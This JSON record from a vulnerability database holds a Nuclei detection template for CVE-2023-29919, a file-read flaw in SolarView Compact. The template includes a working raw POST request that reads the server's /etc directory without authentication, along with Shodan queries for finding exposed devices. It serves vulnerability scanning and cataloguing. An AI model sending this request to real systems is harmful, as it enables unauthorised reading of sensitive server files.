{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2023-29919/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2023-29919/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2023-29919/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2023-29919/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2023-29919/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2023-29919"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2023-29919"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2023/CVE-2023-29919.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2023-29919\n\ninfo:\n  name: SolarView Compact <= 6.00 - Local File Inclusion\n  author: For3stCo1d\n  severity: critical\n  description: |\n    There is an arbitrary read file vulnerability in SolarView Compact 6.00 and below, attackers can bypass authentication to read files through texteditor.php\n  impact: |\n    An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.\n  remediation: |\n    Upgrade to a patched version of SolarView Compact or apply the vendor-provided security patch to mitigate the LFI vulnerability.\n  reference:\n    - https://github.com/xiaosed/CVE-2023-29919\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-29919\n    - https://www.solarview.io/\n    - https://github.com/nomi-sec/PoC-in-GitHub\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n    cvss-score: 9.1\n    cve-id: CVE-2023-29919\n    cwe-id: CWE-276\n    epss-score: 0.60221\n    epss-percentile: 0.99109\n    cpe: cpe:2.3:h:contec:solarview_compact:-:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: contec\n    product: solarview_compact\n    shodan-query:\n      - http.html:\"SolarView Compact\"\n      - cpe:\"cpe:2.3:h:contec:solarview_compact\"\n  tags: cve,cve2023,lfi,solarview,edb,contec,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /texteditor.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        directory=%2F/etc&open=%8AJ%82%AD&r_charset=none&newfile=&editfile=%2Fhome%2Fcontec%2Fdata%2FoutputCtrl%2Fremote%2F2016%2F\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'action=\"texteditor.php\"'\n          - 'adduser.conf'\n          - 'deluser.conf'\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - \"text/html\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a00463044022055fd7e9a4c9e9e2726633a61abd55b518495e254a0487bcefda5444b13e001f202206249ba38eba80d0651519061dd30921d77d635c009eef6f69f0d22549d4e2e39:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2023-29919"
}